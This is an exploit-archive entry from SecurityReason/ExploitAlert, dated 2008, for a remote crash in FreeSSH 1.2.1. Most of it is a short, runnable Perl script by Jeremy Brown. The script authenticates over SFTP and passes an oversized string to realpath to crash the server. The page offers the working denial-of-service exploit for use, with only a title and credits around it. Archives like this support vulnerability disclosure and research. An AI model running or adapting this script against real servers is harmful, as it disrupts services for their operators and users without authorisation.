SecurityReason - FreeSSH 1.2.1 (realpath) Remote Crash Exploit ( Exploit )

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Details : ExploitAlert

Topic :

FreeSSH 1.2.1 (realpath) Remote Crash Exploit

ExploitAlert : 4968

Credit : Jeremy Brown

Date : 22.10.2008

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Exploit Code :

#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash #2 -- A Product of Fuzzing. Stay Tuned For More.
use Net::SSH2;

$host = "192.168.0.100";
$port = 22;
$username = "test";
$password = "test";
$dos = "A" x 262145;

$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection
Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError:
Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$realpath = $sftp->realpath($dos);
$ssh2->disconnect();
exit;

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